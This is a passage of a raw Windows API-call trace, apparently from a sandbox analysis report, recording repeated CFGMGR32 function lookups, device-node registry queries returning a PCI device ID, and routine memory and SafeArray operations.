(hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.110] malloc (_Size=0x18) returned 0x20abc281f00 [0238.110] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0238.110] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x49b02880, dwHighDateTime=0x1d9eb0c)) [0238.111] SetEvent (hEvent=0x248) returned 1 [0238.115] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.115] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.120] malloc (_Size=0x18) returned 0x20abc281c00 [0238.120] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0238.121] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49b28cf7, dwHighDateTime=0x1d9eb0c)) [0238.121] SetEvent (hEvent=0x248) returned 1 [0238.128] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.128] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.129] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.133] malloc (_Size=0x18) returned 0x20abc281e60 [0238.133] CM_Get_Device_IDA (in: dnDevInst=0x2c, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2922&SUBSYS_11001AF4&REV_02\\3&11583659&0&FA") returned 0x0 [0238.133] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x49b4ed75, dwHighDateTime=0x1d9eb0c)) [0238.134] SetEvent (hEvent=0x248) returned 1 [0238.184] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.184] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.188] malloc (_Size=0x18) returned 0x20abc281f00 [0238.188] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0238.188] malloc (_Size=0x124) returned 0x20abc286870 [0238.189] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0238.190] free (_Block=0x20abc286870) [0238.190] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x49bc114d, dwHighDateTime=0x1d9eb0c)) [0238.190] SetEvent (hEvent=0x248) returned 1 [0238.194] malloc (_Size=0x18) returned 0x20abc2820a0 [0238.194] SafeArrayPutElement (psa=0x20abbaf1820, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0238.194] free (_Block=0x20abc2820a0) [0238.194] malloc (_Size=0x18) returned 0x20abc282060 [0238.194] SafeArrayPutElement (psa=0x20abbaf1820, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0238.194] free (_Block=0x20abc282060) [0238.194] malloc (_Size=0x18) returned 0x20abc281d60 [0238.194] SafeArrayPutElement (psa=0x20abbaf1820, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0238.194] free (_Block=0x20abc281d60) [0238.195] malloc (_Size=0x18) returned 0x20abc281b20 [0238.195] SafeArrayPutElement (psa=0x20abbaf1820, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0238.195] free (_Block=0x20abc281b20) [0238.195] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d870 [0238.195] SafeArrayGetDim (psa=0x20abbaf1820) returned 0x1 [0238.195] SafeArrayGetLBound (in: psa=0x20abbaf1820, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0238.195] SafeArrayGetUBound (in: psa=0x20abbaf1820, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0238.195] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0238.195] SafeArrayGetDim (psa=0x20abbaf1820) returned 0x1 [0238.195] SafeArrayGetUBound (in: psa=0x20abbaf1820, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0238.195] SafeArrayGetElemsize (psa=0x20abbaf1820) returned 0x8 [0238.195] SafeArrayGetElement (in: psa=0x20abbaf1820, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0238.196] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.196] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c78, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.196] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c80, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.196] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c88, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.197] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0238.198] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d870) returned 1 [0238.199] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.199] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.204] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.204] malloc (_Size=0x18) returned 0x20abc281fa0 [0238.204] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0238.205] malloc (_Size=0x10e) returned 0x20abc286870 [0238.205] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0238.206] free (_Block=0x20abc286870) [0238.206] malloc (_Size=0x48) returned 0x20abc2abcc0 [0238.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x49be76a3, dwHighDateTime=0x1d9eb0c)) [0238.207] SetEvent (hEvent=0x248) returned 1 [0238.211] malloc (_Size=0x18) returned 0x20abc282020 [0238.211] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0238.211] free (_Block=0x20abc282020) [0238.211] malloc (_Size=0x18) returned 0x20abc281ea0 [0238.211] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0238.211] free (_Block=0x20abc281ea0) [0238.212] malloc (_Size=0x18) returned 0x20abc281e20 [0238.212] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0238.212] free (_Block=0x20abc281e20) [0238.212] malloc (_Size=0x18) returned 0x20abc281d60 [0238.212] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0238.212] free (_Block=0x20abc281d60) [0238.212] malloc (_Size=0x18) returned 0x20abc281b20 [0238.212] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0238.212] free (_Block=0x20abc281b20) [0238.212] malloc (_Size=0x18) returned 0x20abc282080 [0238.212] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0238.212] free (_Block=0x20abc282080) [0238.212] malloc (_Size=0x18) returned 0x20abc282020 [0238.212] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0238.212] free (_Block=0x20abc282020) [0238.213] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cff0 [0238.213] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0238.213] SafeArrayGetLBound (in: psa=0x20abbaf1aa0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0238.213] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0238.213] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0238.213] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0238.213] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0238.213] SafeArrayGetElemsize (psa=0x20abbaf1aa0) returned 0x8 [0238.213] SafeArrayGetElement (in: psa=0x20abbaf1aa0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0238.213] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1690, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.214] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1698, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.214] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf16a0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.214] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf16a8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.214] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf16b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.214] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf16b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.215] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf16c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.215] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0238.215] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cff0) returned 1 [0238.216] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.216] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.221] malloc (_Size=0x18) returned 0x20abc282060 [0238.222] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0238.273] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49ca5f57, dwHighDateTime=0x1d9eb0c)) [0238.274] SetEvent (hEvent=0x248) returned 1 [0238.280] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.280] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.283] GetProcAddress (hModule=0x7ffb1ced0000, 